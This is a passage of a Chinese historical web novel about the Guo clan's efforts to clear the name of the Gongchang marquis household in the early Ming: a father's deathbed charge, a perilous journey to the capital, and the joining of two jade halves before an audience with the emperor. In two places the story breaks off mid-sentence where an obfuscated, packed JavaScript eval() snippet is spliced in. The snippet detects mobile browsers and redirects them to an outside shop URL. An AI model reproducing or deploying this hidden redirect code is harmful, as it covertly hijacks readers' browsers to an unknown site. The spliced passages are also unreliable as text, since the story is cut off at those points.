他顿了顿,眼神中带着一丝期盼与担忧:“待日后……郭玘需要之时,你务必亲自将玉佩交予他。届时,他手中的‘勇’字玉佩与这‘忠’字玉佩合璧,便是为巩昌侯府平反的最有力凭证。你要协助他,联络所有能联络的旧部,联合朝中同情洪武旧勋的官员,一举上书,完成兴公的遗愿,让巩昌侯府沉冤得雪,让郭家两族重归荣光。” “儿子记下了!”郭玹重重点头,泪水终究忍不住滑落,“父亲,您放心,儿子定不辜负您的嘱托,定要助郭玘兄弟完成平反大业,告慰先祖在天之灵!” 郭铭看着儿子坚定的模样,心中稍安。他知道,自己这一辈子,亏欠巩昌侯府太多,如今将这份重任托付给郭玹,也算是了却了一桩心愿。他喘了口气,继续道:“还有……京城的局势,你要格外留意。陛下近来身体也不甚安好,锦衣卫的监视愈发严密,武定侯府的处境依旧艰难。你行事需谨慎,不可急于求成,更不可暴露与巩昌侯府的联系,以免给两族带来灭顶之灾。” “儿子明白。”郭玹道,“父亲这些年的教诲,儿子时刻铭记在心。低调行事,隐忍蛰伏,待时机成熟再行动作。” 郭铭点点头,眼中的光芒渐渐黯淡下去。他看着郭玹,仿佛看到了年轻时的自己,也看到了郭家的未来。他想再说些什么,却因气力不支,剧烈地咳嗽起来,嘴角溢出了一丝血迹。 “父亲!”郭玹大惊,连忙用手帕擦拭父亲嘴角的血迹,大声喊道,“太医!太医!” 门外的太医与仆役连忙进来,一阵忙乱后,郭铭的咳嗽渐渐平息,却也更加虚弱,眼神开始涣散。他紧紧抓住郭玹的手,用尽最后一丝力气道:“守住……守住玉佩……护住……郭玘……完成……遗愿……” 说完,他的头一歪,手无力地垂下,眼睛永远地闭上了。 “父亲!”郭玹发出一声撕心裂肺的哭喊,紧紧抱住父亲冰冷的身体,泪水如决堤般涌出。卧房内的太医与仆役们纷纷跪倒在地,低声啜泣。 武定侯府的丧钟很快敲响,沉闷的钟声在京城的上空回荡,穿透了风雪,传到了宫中,也传到了京城的各个角落。消息传开,朝野震动。郭铭作为武定侯郭英的次子,在锦衣卫任职多年,为人正直,威望甚高,更因暗中庇护过多名洪武旧勋后裔,深得人心。如今他病逝,许多官员都纷纷前来吊唁,就连永乐帝也派内侍前来慰问,赐下了不少丧葬之物。 然而,在这看似风光的丧葬背后,郭玹却感受到了无形的压力。他深知,父亲的死,不仅让武定侯府失去了主心骨,更让巩昌侯府的平反之路变得更加艰难。没有了父亲在朝中的周旋与联络,没有了父亲与旧部之间的信任纽带,他一个年轻的侯府孙辈,能否扛起这份重任,能否顺利完成父亲的嘱托,心中并无十足的把握。 武定侯府的丧事办得低调而隆重。郭玹作为嫡孙,主持着各项事宜,每日接待前来吊唁的官员与亲友,忙得焦头烂额,却始终保持着镇定。他知道,此刻的武定侯府,容不得半点慌乱,他必须撑起门面,让外人看不出府内的脆弱,更不能让锦衣卫的人抓住任何把柄。 这日,吊唁的宾客渐渐散去,郭玹独自一人来到府中密室。密室位于书房的暗格之后,不大的空间里,只摆放着一个紫檀木柜,里面存放着武定侯府的重要信物与机密文件。郭玹打开木柜,取出一个锦盒,正是当初从海州带回的、郭玘托付的“忠”字玉佩。 他打开锦盒,看着那块温润的玉佩,“忠”字纹路苍劲有力,背面的“郭”字古体字暗纹清晰可见。指尖抚摸着玉佩,仿佛能感受到郭玘兄弟的信任,感受到父亲的嘱托,感受到祖父郭兴的期盼。他将玉佩贴在胸前,闭上眼睛,脑海中回荡着父亲临终前的话语:“左半玉佩存于武定侯府,以示两族联结。待玘儿需时,交予他,完成兴公遗愿。” “父亲,儿子定不会让您失望。”郭玹轻声道,眼中闪过一丝坚定。他将锦盒重新放回木柜,锁好密室,转身走出书房。 回到卧房,他取出一个尘封的木盒,里面存放着父亲多年来与巩昌侯府联络的密信、祖父旧部的名册,以及为巩昌侯府平反所收集的部分证据。他逐一翻阅,心中对整个事件的来龙去脉有了更清晰的认识——从胡惟庸案的爆发,到巩昌侯府的蒙冤,从郭斌带着族人逃亡海州,到父亲暗中照拂,从李诚的奔走联络,到郭玘的隐忍蛰伏……这数十年的坚守与等待,凝聚着郭家两族太多的血泪与期盼。 他深知,如今的局势对巩昌侯府的平反极为不利。永乐帝因宫殿遭雷击之事,猜忌之心愈发严重,锦衣卫的巡查遍布京城内外,任何与洪武旧勋相关的异动,都可能引来杀身之祸。父亲的病逝,更是让平反之事失去了最重要的推动力。郭玹明白,现在绝非行动的时机,他必须延续父亲的策略,继续隐忍蛰伏,等待合适的时机。 几日后,郭玹处理完父亲的丧事,第一件事便是通过暗线,将郭铭病逝的消息传递给远在海州的郭玘。他在密信中写道:“家父已于上月病逝,临终前再三嘱托,‘忠’字玉佩妥存于武定侯府,待时机成熟,必亲手交予贤弟。平反之事,需暂缓行事,京中局势微妙,陛下猜忌未减,贤弟仍需在海州隐忍蛰伏,积累实力,联络旧部。愚兄定当恪守父命,待良机出现,便与贤弟共赴大业,完成兴公遗愿。” 写完密信,郭玹将其交给父亲生前最信任的亲信,叮嘱道:“务必将此信安全送达海州,亲手交给郭玘百户,切记不可泄露任何消息,以免引来锦衣卫的追查。” “公子放心,属下定不辱使命。”亲信躬身应道,小心翼翼地将密信藏于发髻之中,乔装打扮后,连夜离开了京城。 此时的海州,同样被寒风笼罩。东海卫卫城的屯田区一片寂静,庄稼早已收割完毕,只剩下光秃秃的田地与纵横交错的田埂。郭玘正在族中祠堂,对着李诚的牌位上香,忽然听到赵虎急促的脚步声传来。 “百户,京城传来密信,是武定侯府的人送来的!”赵虎手中拿着一封密封的信件,神色凝重。 郭玘心中一紧,连忙接过密信。看到信封上熟悉的火漆印,他知道是郭玹发来的消息。他快步走进祠堂的偏房,拆开密信,一行行字迹映入眼帘。 “家父已于上月病逝……” 短短一句话,如同一道惊雷,在郭玘的脑中炸开。郭铭叔——那个为家族平反奔走一生的长辈,那个在暗中默默守护他的叔父,那个将儿子托付给他、与他约定共赴大业的亲人,竟然就这样离开了人世? 郭玘只觉得一阵天旋地转,手中的密信飘落在地。他想起宣府戍边时,李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他顿了顿,继续道:“接下来,我们依旧按原计划行事:继续改良盐碱地,扩大种植面积;加强军卒训练,提升海防能力;农闲时前往盐场打工,积累财富。同时,密切关注京城局势,等待郭玹兄弟的消息。” 族人们闻言,纷纷点头。他们知道,郭玘说得对,如今唯有隐忍蛰伏、积累实力,才能应对未来的挑战。 接下来的日子,郭玘将悲痛深埋心底,更加投入地打理族中事务与东海卫的屯田、海防。他知道,唯有让家族变得更加强大,才能不辜负郭铭叔的嘱托,才能在未来的平反之路中占据主动。 他带领族人们在东海岛周边开垦了更多的荒地,种植耐碱作物与果树;对原有的排盐沟与引水渠进行了拓宽与修缮,进一步提升了盐碱地的改良效果;农闲时,依旧带领族中青壮年前往盐场打工,积累了丰厚的财富。此外,他还加强了军卒的训练,每日带领他们演练阵法、练习武艺,东海卫的军卒战斗力日益提升,多次成功驱逐了前来骚扰的小规模海盗。 与此同时,郭玹在京城也没有闲着。他一面打理武定侯府的事务,一面暗中联络祖父郭兴的旧部,巩固父亲留下的人脉;一面完善为巩昌侯府平反的卷宗,收集更多证据;一面密切关注永乐帝的身体状况与朝中局势,等待合适的时机。 他深知,父亲的去世让武定侯府的处境更加微妙,永乐帝的猜忌与锦衣卫的监视如影随形。他行事愈发谨慎,从不轻易与人谈论洪武旧勋之事,也从不与郭玘进行过于频繁的联络,只在关键时刻通过暗线传递必要的消息。 永乐二十二年腊月,京城传来消息,永乐帝的身体状况愈发糟糕,已下诏暂停一切不必要的朝政,专注休养。消息传到海州,郭玘与张秉心中都十分复杂。 “郭百户,永乐帝病重,朝中局势恐将发生巨变。”张秉沉声道,“这对我们而言,既是机遇,也是风险。若永乐帝驾崩,太子朱高炽即位,推行宽政,便是我们平反的最佳时机;但在此之前,若朝中发生变故,或是有人借机发难,我们也可能遭遇不测。” 郭玘点点头,眼中闪过一丝凝重:“张先生说得对。我们现在能做的,就是继续隐忍蛰伏,做好万全准备。一旦京城局势明朗,郭玹兄弟传来消息,我们便立刻启程赴京,完成平反大业。” 他取出贴身藏着的“勇”字玉佩与缝合着手书的拓本,轻轻抚摸着:“郭铭叔,您放心,我们已经做好了准备。只要时机一到,我们便会带着‘忠勇’合璧的凭证,带着所有的证据,赴京为家族洗刷冤屈。您在天之灵,一定要保佑我们成功。” 窗外的风雪依旧,武定侯府的灯笼在寒风中摇曳,海州的海雾在夜色中弥漫。郭玹与郭玘,这两位肩负着郭家两族命运的年轻人,虽相隔千里,却怀着共同的信念,坚守着“忠勇”家训,等待着那个能让家族沉冤得雪的时机。 郭铭的病逝,是郭家平反之路的一次重大挫折,却也让郭玹与郭玘更加坚定了信念。他们知道,未来的路充满了未知与挑战,但只要他们坚守承诺、团结一心,就一定能完成郭铭与郭兴的遗愿,让巩昌侯府的冤屈得以洗刷,让郭家两族的“忠勇”精神重现荣光。 24. 第三卷 拓片传灯 第24章 永乐遗诏 永乐二十二年冬末,海州的寒风裹挟着海雾,像一把钝刀反复切割着东海卫卫城的夯土墙。郭玘身着百户常服,正蹲在卫城西侧的荒坡上,用锄头刨开冻土,检查梨树的根系防寒情况。光秃秃的枝桠上裹着厚厚的草绳,是族人们耗费半月功夫缠上的——这些梨树是家族未来的指望,再过两年便可盛产,能为赴京告御状积攒更多盘缠。 “百户!卫所急报!京城八百里加急!”赵虎的声音穿透风雾,带着难以掩饰的急促。他策马奔来,马蹄溅起的冻土块落在雪地上,发出沉闷的声响。 郭玘心中猛地一沉。自郭铭叔病逝后,京城的任何风吹草动都牵动着他的神经。如今永乐帝病重的消息早已传遍卫所,这封加急文书,怕是承载着改变时局的大事。他扔下锄头,快步迎上前:“文书何在?” 赵虎翻身下马,从怀中掏出一封火漆封口的明黄色文书,双手递上:“左千户大人大人已看过,让您即刻去卫所议事,说是……事关国本。” 郭玘指尖触到文书的凉意,心跳骤然加速。他握紧文书,翻身上马,与赵虎一同朝着卫所疾驰。街道上的军户与百姓都行色匆匆,寒风中隐约传来低声议论,显然已有消息泄露。 东海卫左千户府内,李大人正背着手站在堂中,神色凝重地盯着墙上的舆图。见到郭玘进来,他转过身,将一份展开的诏书递了过来:“郭百户,你自己看吧。永乐皇帝……已于榆木川行宫驾崩了。” “驾崩?”郭玘的声音有些发颤,目光落在诏书上。明黄色的宣纸上,“传位于皇太子朱高炽”几个大字格外醒目,墨迹淋漓,仿佛还带着京城的余温。他瞬间想起郭铭叔临终前的嘱托,想起父亲临终前的期盼,想起李诚殉边时的壮烈——他们都为了家族平反,熬了一辈子,却终究没能等到这一天。 李大人叹了口气:“太子殿下早已监国多年,声誉极佳。传闻他宅心仁厚,监国期间便多次减免赋税、平反小案,如今即位,想必会是一位宽仁之君。” 郭玘缓缓合上诏书,心中翻涌着复杂的情绪。永乐帝的驾崩,意味着一个猜忌严苛的时代落幕,而仁厚的新帝即位,或许正是郭铭叔等了一辈子的时机。他深吸一口气,压下眼底的湿意,沉声道:“李大人所言极是。新帝仁厚,或许……便是我郭家洗刷冤屈的契机。” 离开卫所时,风雾已散,夕阳透过云层洒在卫城的青石板路上,泛着微弱的光。郭玘没有回屯田区,而是径直前往儒学。张秉正坐在书房中整理古籍,见他神色异样地进来,连忙放下书卷:“郭百户,可是京城有消息了?” “张先生,”郭玘声音沙哑,将永乐帝驾崩、朱高炽即位的消息缓缓道出,“郭铭叔等了一辈子的时机,或许来了。” 张秉浑身一震,手中的书卷“啪”地掉在地上。他愣了片刻,突然老泪纵横,站起身来回踱步:“好!好啊!老天有眼!朱高炽仁厚之名,天下皆知,他即位后必会核查洪武、永乐两朝的冤案,这正是我们为巩昌侯府昭雪的最佳时机!” 郭玘坐在椅上,指尖摩挲着腰间的虎符碎片——那是李诚的遗物。他想起这些年的隐忍:在宣府戍边时的风沙与血战,在东海岛烽燧的孤独坚守,改良盐碱地时的日夜操劳,面对王彪刁难时的据理力争……所有的付出,似乎都在这一刻有了盼头。 “张先生,”郭玘语气郑重,“我们筹备了这么多年,证据早已齐备,如今新帝即位,是时候动身赴京了。” 张秉点头如捣蒜,眼中闪烁着激动的光芒:“我这就去整理卷宗!兴公的手书、玉佩拓本、旧部证词、百姓联名请愿书,还有李诚千户与郭铭大人的信物,一一归类,确保证据链完整无缺!” “我来安排族中事务。”郭玘站起身,“赴京之路凶险,不能声张。我只带赵虎等几名心腹随行,族中之事托付给郭福伯,让他带领族人守住屯田与家业。另外,我需向李大人告假,以‘探亲’为名离卫,避免引起不必要的猜忌。” 两人分工明确,即刻行动。郭玘回到族中,召集郭福伯与几位族中长辈,将京城的消息与赴京的决定和盘托出。 “玘儿,这是真的?”郭福伯老泪纵横,抓住他的手不肯松开,“我们郭家等了二十多年,终于等到这一天了!” “福伯,此行风险未知,我带赵虎他们悄悄出发即可。”郭玘沉声道,“族中大小事务,全凭您做主。切记低调行事,不可张扬,若王彪等人寻衅,便以《军户屯田律》应对,守住我们的田地与家园。” “你放心去吧!”郭福伯重重点头,“族里的事有我,你只管安心赴京,一定要为你祖父、父亲洗刷冤屈!” 族人们纷纷拿出积攒的银钱与干粮,塞到郭玘手中。有人哽咽道:“百户,我们等着您带好消息回来!” 郭玘一一谢过,将银钱收好——这是族人的血汗,也是赴京的盘缠。他转身回到家中,取出贴身藏着的“勇”字玉佩与缝合着手书的拓本,仔细擦拭干净,放入一个特制的布囊,贴身藏好。这是家族身份的凭证,也是告御状的核心依据,绝不能有失。 次日一早,郭玘前往卫所告假。李大人早已听闻新帝即位的消息,对他“探亲”的请求并未多疑,爽快地批了三个月假期:“郭百户这些年辛苦,确实该回家看看。路上务必小心,早去早回。” “多谢大人成全。”郭玘躬身道谢,心中暗松一口气。 与此同时,张秉也已将所有证据整理完毕。厚厚的卷宗被分成几包,用油布包裹严实,交给赵虎等人随身携带。张秉拉着郭玘的手,反复叮嘱:“京城不比海州,锦衣卫眼线众多,武定侯府虽会接应,但你们仍需谨慎。见到郭玹公子后,务必先核验信物,再商议告御状之事,切勿急躁。” “张先生放心,我自有分寸。”郭玘点头,将一卷卷宗贴身收好——里面是祖父郭兴的手书与玉佩拓本,最为重要。 永乐二十二年腊月初八,郭玘带着赵虎、郭忠等五名心腹,乔装成商贩,背着行囊与卷宗,悄悄离开了海州城。他们没有走官道,而是选择了一条偏僻的小路,避开繁华城镇与卫所关卡,一路向北。 此时正值深冬,寒风凛冽,道路结冰,行走异常艰难。他们白日赶路,夜晚便宿在荒庙或偏远驿站,饿了便吃干粮,渴了便喝融化的雪水。赵虎忍不住抱怨:“百户,咱们为何不走官道?这般绕路,不知要多走多少日子。” “官道上关卡林立,且有王彪的眼线。”郭玘边走边说,目光警惕地扫视着四周,“我们身份特殊,若被王彪知晓行踪,他定会借机生事,拦截我们赴京。小心驶得万年船,多走几日路,总比半途而废强。” 众人闻言,不再抱怨,加快了脚步。 郭玘的担忧并非多余。此时的东海卫卫城,王彪正坐在吏目府中,脸色阴沉得能滴出水来。他得知永乐帝驾崩、新帝即位的消息后,心中便隐隐不安——郭玘在海州威望日盛,若新帝推行宽政,郭玘极有可能借机翻身,到时候自己之前的刁难与算计,都将成为祸患。 “大人,刚得到消息,郭玘那小子向李大人告了三个月探亲假,带着几个人出城了!”亲信匆匆进来禀报。 “探亲?”王彪冷笑一声,三角眼眯起,“这时候探亲?怕不是借着新帝即位的由头,去京城钻营门路,想报复我吧!” 他站起身,在屋中踱步:“郭玘这小子,自恃有武定侯府撑腰,又深得民心,早就不把我放在眼里。之前强占他的田地不成,如今他若真在京城谋得好处,回来定要找我算账!” 亲信谄媚道:“大人,您是卫所吏目,掌管军户户籍与差遣。按规矩,军户无军令不得擅自离卫,郭玘告假探亲,未必是真,说不定是去京城告御状!我们不如派人去拦截他,以‘擅离卫所’的罪名把他抓回来,既能报之前的仇,又能绝了他的念想!” “拦截?”王彪眼中闪过一丝阴狠,“好主意!他走不远,必定会经过赣榆卫的关卡。你立刻带人赶去,告诉赣榆卫的守将,就说郭玘擅离卫所,图谋不轨,让他们务必将其拦下,押回东海卫处置!” “是!属下这就去办!”亲信领命,立刻召集人手,快马加鞭追了上去。 郭玘等人一路疾行,五日后抵达赣榆卫境内。此处是海州前往京城的必经之路,设有一处关卡,由赣榆卫的士兵驻守。郭玘让众人放慢脚步,尽量装作普通商贩,准备低调过关。 谁知刚到关卡前,便被一队士兵拦住了去路。为首的正是王彪的亲信,他指着郭玘,厉声喝道:“郭玘!你身为东海卫军户百户,无军令擅自离卫,可知罪?” 郭玘心中一凛,果然被王彪盯上了。他不动声色道:“我已向李大人告假探亲,有假文书为证,何来擅离之罪?” “假文书?”亲信冷笑,“李大人怕是被你蒙骗了!你分明是想逃往京城,图谋不轨!奉王吏目之命,今日便将你押回东海卫,听候发落!” 士兵们纷纷上前,想要捉拿郭玘等人。赵虎等人立刻握紧武器,挡在郭玘身前,怒喝道:“谁敢动手!” “怎么?想拒捕?”亲信更加嚣张,“你们不过是一群军户,还敢反抗?再敢顽抗,便以谋逆论处!” 郭玘眼神一冷,知道今日不能善了。他从怀中取出一枚令牌,高高举起——那是郭玹上次赴海州时,悄悄交给她的武定侯府令牌,正面刻着“武定侯府”四字,背面是郭家的族徽。 “你睁大狗眼看看!”郭玘厉声喝道,“这是武定侯府的令牌!我奉武定侯府之命,前往京城公干,你敢拦截皇亲差遣?” “皇亲?”亲信脸色一变。他自然知晓,武定侯郭英是开国功臣,其子郭镇娶了永佳公主,武定侯府确实是皇亲国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914094|192489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戚。这令牌做工精良,绝非伪造,他顿时有些犹豫。 郭玘见状,上前一步,语气愈发严厉:“武定侯府的差遣,也是你一个小小的卫所士兵能拦的?王彪让你来拦截我,莫非是想与皇亲为敌?此事若传到京城,别说你,就连王彪也担待不起!” 亲信吓得浑身发抖,他只是奉命行事,没想到会牵扯到武定侯府。若真得罪了皇亲,别说自己,整个赣榆卫的守将都要遭殃。他连忙躬身行礼:“小人有眼不识泰山,不知是郭百户奉武定侯府之命行事,多有冒犯,还请郭百户海涵!” “还不快让开!”郭玘冷声道。 “是是是!”亲信连忙挥手,让士兵们让开道路,“郭百户请过!” 郭玘冷哼一声,带着赵虎等人,昂首挺胸地穿过关卡。直到他们的身影消失在远方,亲信才擦了擦额头的冷汗,不敢再追,只能派人快马加鞭返回东海卫,向王彪禀报情况。 摆脱拦截后,赵虎松了口气:“百户,幸好有武定侯府的令牌,不然今日怕是难以脱身。” “王彪不会善罢甘休,我们必须加快速度,尽快抵达京城。”郭玘沉声道。他知道,这只是第一关,接下来的路途,或许还有更多凶险。 接下来的日子,他们日夜兼程,避开所有可能的关卡与驿站,一路向北。经过半个多月的跋涉,终于进入了北直隶境内。远远望去,京城的轮廓在暮色中渐渐清晰,巍峨的城墙如一条巨龙,盘踞在平原之上。 “百户,前面就是京城了!”赵虎兴奋地说道。 郭玘勒住马缰,望着远方的京城,心中百感交集。这里是帝国的中心,是权力的漩涡,也是家族平反的希望之地。他深吸一口气,眼中闪过一丝坚定:“走吧,去武定侯府。” 京城南隅,武定侯府的朱红大门前,灯火通明。郭玹早已接到暗线的消息,知道郭玘今日抵达,亲自站在府门外等候。见到郭玘等人的身影,他快步迎了上去,眼中满是激动:“贤弟!你终于来了!” “郭玹兄!”郭玘翻身下马,与郭玹紧紧握住对方的手。一路的风尘与艰辛,在见到同族亲人的这一刻,都化作了暖流。 “一路辛苦,快进府歇息。”郭玹拉着他的手,快步走进府中。穿过层层回廊,来到一处僻静的院落,郭玹屏退左右,只剩下他与郭玘两人。 “贤弟,父亲临终前的嘱托,我始终铭记在心。”郭玹神色郑重,从怀中取出一个锦盒,缓缓打开。 锦盒中,静静地躺着半块玉佩,质地温润,刻着苍劲有力的“忠”字,背面的“郭”字古体字暗纹清晰可见。 郭玘心中一震,连忙从怀中取出自己的“勇”字玉佩,递了过去。 郭玹接过“勇”字玉佩,将两块玉佩轻轻对接。“咔嚓”一声轻响,两块玉佩完美契合,组成了一块完整的玉佩。正面是“忠勇”二字,笔锋遒劲,浑然一体;背面的“郭”字古体字暗纹完整呈现,仿佛从未分开过。 “忠勇合璧了……”郭玹眼中含泪,声音哽咽,“祖父的遗言,父亲的期盼,终于快要实现了。贤弟,你来了,我郭家两族的希望,便来了。尔祖的昭雪,也就在眼前了。” 郭玘抚摸着合璧的玉佩,指尖传来温润的触感,仿佛感受到了祖父郭兴的气息,感受到了父亲与郭铭叔的期盼。他眼中闪过一丝泪光,郑重道:“郭玹兄,我带来了所有证据,祖父的手书、玉佩拓本、旧部证词、百姓请愿书,都在这里。此次赴京,我定要为家族洗刷冤屈,不负先祖,不负你我。” 郭玹点点头,将合璧的玉佩小心收好:“贤弟放心,京城的事,我已暗中安排。我姐姐郭氏如今是新帝的宠妃,我已通过姐姐递了消息,新帝仁厚,已同意召见我们。只是宫中规矩繁多,还需稍作准备,择日再带你入宫面圣。” “一切听从郭玹兄安排。”郭玘道。 郭玹将郭玘等人安排在府中歇息,又让人送来干净的衣物与食物。郭玘洗去一路风尘,心中却丝毫不敢放松。他知道,进入京城,只是告御状的开始,真正的考验,还在后面。 当晚,郭玘坐在房中,取出缝合着手书的拓本,借着烛光仔细翻看。祖父的手书“助景扬吾儿,忠勇报国,护族延嗣”八个字,在烛光下格外清晰。他想起了父亲的临终遗言,想起了李诚的殉边,想起了郭铭的病逝,想起了族人们的期盼。 “爹,李伯,郭铭叔,我到京城了。”郭玘轻声道,“‘忠勇’合璧,证据齐备,新帝仁厚,这一次,我一定能为家族洗刷冤屈,让你们在天之灵安息。” 烛光摇曳,映照着他坚定的脸庞。窗外的京城,夜色深沉,却也透着一丝希望的光芒。郭玘知道,第三卷的隐忍与蛰伏,都将在第四卷的御状合璧中迎来结局。他已做好准备,迎接即将到来的风雨,为家族的清白,为“忠勇”的传承,奋力一搏。 25. 第四卷 御状合璧 第25章 面圣呈璧 洪熙元年春,京城的风褪去了冬日的凛冽,带着几分温润的暖意,拂过郭府的朱红宫墙。这座宅邸是武定侯郭英生前的府邸,如今虽无世袭侯位,却因郭贵妃的圣眷与郭家累世的功勋,依旧是京中颇具声望的勋贵之家。郭玘身着一身素色儒衫,立于府中花园的回廊下,望着庭院中抽芽的柳枝,心中既有期盼,又有忐忑。自三日前抵达京城,郭玹便忙于联络宫中,为面圣之事奔走,而他则在府中静候消息,每日除了整理证据,便是摩挲那枚合璧的“忠勇”玉佩。 廊下的梨花簌簌飘落,郭玹的身影从回廊尽头快步走来,他身着从五品官服,面色却带着几分不易察觉的疲惫,声音里的喜悦压着一丝凝重:“贤弟,有眉目了!家姐在陛下面前周旋了足足半月,这才换得陛下松口。” 郭玘心中一震,握紧手中的玉佩:“郭玹兄,这半月……怕是不易吧?” “何止不易。”郭玹长叹一声,引着他走到廊下僻静处,压低声音道,“你可知,翻洪武旧案本就是大忌。内阁的杨士奇、杨荣两位大人,听闻家姐提及此事,当即入宫劝谏,说‘洪武旧案积弊多年,牵一发而动全身,若轻易翻案,恐引勋贵宗室躁动,动摇国本’。还有那些与胡惟庸案有牵连的勋贵后裔,暗地派人递话到府中,说‘郭家若执意翻案,便是与一众勋贵为敌’,明里暗里的阻力,层层叠叠。” 郭玘眸色一沉。他只知郭贵妃在宫中圣眷正浓,却不知背后竟有这般汹涌的暗流。 “家姐素来谨守后宫不干政的规矩,这次为了巩昌侯府的事,算是破了例。”郭玹的声音愈发低沉,“她先是借着侍疾的机会,在陛下枕边提及伯祖父郭兴平定西北的战功,说‘开国功臣后裔沦落军籍,屯田受苦,恐寒了天下忠良之心’;后又取来宫中珍藏的洪武朝功臣画像,指着伯祖父的画像哀叹,说‘家父临终前,仍念叨着兄长景振的冤屈,郭家两代忠良,不该落得这般下场’。陛下仁厚,虽有恻隐之心,却也顾虑内阁与勋贵的压力,迟迟未松口。直到昨日,家姐提及你在海州改良盐碱地、兴办蒙学的事,说你一介军户,却心怀百姓,颇有先祖之风,陛下这才松口,允了我们明日巳时入宫面圣。” 郭玘心中五味杂陈,只觉手中的玉佩愈发沉重。原来郭贵妃的斡旋,并非什么“后宫捷径”,而是在朝堂的夹缝中,以女子之身,为家族挣来的一线生机。 “面圣之地定在御花园的养性斋,而非太和殿。”郭玹定了定神,语气郑重起来,“陛下此举,一是避了朝堂耳目,二是想在清静处听我们细说原委。家姐会在斋中接应,但你我都清楚,后宫不得干政的规矩摆在那里,真正陈情的时刻,还得靠我们自己。” 他顿了顿,细细叮嘱:“明日入宫,你需将‘忠勇’玉佩、祖父手书、拓本这三件核心信物随身携带,其余证词、请愿书等证据,由我另行呈递。陛下最忌繁文缛节与刻意邀功,你只需如实诉说家族遭遇,尤其要提及先伯郭景振含冤而死、家父隐姓埋名的流离之苦,不必刻意强调功绩。记住,先求陛下认可冤情的合理性,其余皆可从长计议。” “我明白。”郭玘沉声应道。他想起李诚殉边时的壮烈,想起父亲临终前的嘱托,那些隐忍与坚守,都凝聚在这一次面圣之中。 而此时的深宫之中,郭贵妃正坐在梳妆台前,望着铜镜中自己略带憔悴的面容。案上放着一封密信,是心腹内侍刚从宫外递进来的,上面写着“成国公府传话,若执意翻案,恐伤陛下圣明”。她轻轻摩挲着信笺,眸中闪过一丝冷冽。成国公府当年依附胡惟庸,如今自然怕旧案重提,牵连自身。她将密信付之一炬,火光映着她的侧脸,带着几分决绝。父亲临终前的嘱托犹在耳畔,兄长景扬的冤屈,她不能不管。 当晚,郭府灯火通明。郭玹带着郭玘拜见了族兄——郭英的嫡孙郭琮。郭琮四十开外,沉稳干练,是如今郭府的主事之人,见到郭玘,眼中满是感慨:“景扬贤叔的后人,果然有先祖之风。当年胡惟庸案,巩昌侯府满门蒙冤,先伯郭景振含冤而死,我府虽同为勋贵,却碍于永乐朝的猜忌之风,未能倾力相助,心中愧疚多年。如今你能挺身而出,为家族昭雪,实属不易。” “愚弟见过琮兄。”郭玘躬身行礼,“若非郭府多年暗中照拂,我郭家一脉早已不复存在。此次面圣,更离不开琮兄与郭玹兄的奔走,郭玘感激不尽。” 郭琮摆摆手,取出一枚精致的玉牌,递给郭玘:“此乃先祖父郭英的随身玉牌,虽无侯府印信,却也是郭家身份的见证,明日入宫,可保你通行无阻。记住,陛下虽仁厚,却也是帝王,言谈之间需谨守分寸,既要显露出郭家后人的忠勇底色,也要懂得隐忍谦逊,切不可意气用事,尤其提及先伯郭景振之事时,需哀而不伤,诉冤而非指责。” “郭玘谨记琮兄教诲。” 夜色渐深,郭玘回到客房,将“忠勇”玉佩、祖父手书与拓本小心翼翼地放在案上。烛光下,玉佩的温润与手书的苍劲相互映衬,仿佛跨越时空的对话。他想起父亲郭斌临终前的嘱托,想起大伯郭景振蒙冤被杀的惨状,想起李诚殉边时的壮烈,想起郭铭叔一生的奔走,心中百感交集。明日,便是检验这一切坚守与等待的时刻。 而另一边,郭玹独自坐在书房,案上摊着一份宗人府的名册,旁边是一封来自翰林院的信函。他提笔在名册上圈出几个名字,皆是当年参与构陷巩昌侯府的官员后裔。指尖划过那些名字,他眸色沉沉。此次面圣,不过是第一步,往后的核查之路,怕是更难。他抬手揉了揉眉心,想起白日里郭贵妃的叮嘱——“凡事稳字当头,不可急躁”,心中渐渐安定下来。他取出一张宣纸,提笔写下“忠勇传家”四个大字,笔锋遒劲,一如郭家世代传承的风骨。 次日清晨,天刚蒙蒙亮,郭玘便起身梳洗。郭玹早已备好入宫的衣物,是一身素雅的青色官袍,既不失体面,又不显得张扬。两人吃过早膳,便在郭贵妃派来的宫女引导下,前往皇宫。 皇宫巍峨壮观,红墙黄瓦在晨光中熠熠生辉。穿过一道道宫门,走过长长的回廊,沿途的禁军与内侍皆躬身行礼,目光中带着敬畏。郭玘心中愈发凝重,这宫墙之内,既是权力的中心,也是决定家族命运的地方。他能感受到,那些看似恭敬的目光里,藏着不少窥探与审视——京中勋贵云集,郭家要翻洪武旧案的消息,怕是早已不胫而走。 行至御花园附近,一名身着宫装的宫女上前躬身道:“郭主事、郭公子,贵妃娘娘已在养性斋等候,请随奴婢来。” 两人跟随宫女,穿过一片姹紫嫣红的花丛,来到养性斋前。斋门虚掩,宫女轻声通报后,便退了下去。郭玹推开门,带着郭玘走了进去。 养性斋内陈设简单却不失雅致,檀香袅袅,书卷飘香。郭贵妃身着一袭明黄色宫装,端坐于窗边的榻上,面容清丽,眉宇间带着与郭铭相似的刚毅,却又多了几分宫廷女子的温婉。见到两人进来,她连忙起身,眼中满是温和,却又飞快地递了个眼神给郭玹。郭玹心领神会,那是在提醒他,陛下晨间刚与内阁议过事,神色间带着几分倦意,陈情需简洁恳切。 “弟弟,玘堂弟,你们来了。”郭贵妃微微一笑,亲手为两人倒了杯茶,“坐下说吧。父亲临终前最牵挂的便是巩昌侯府的冤屈,尤其是景扬伯与景扬叔一脉的遭遇,如今能有机会向陛下陈情,也算了却他的一桩心愿。” 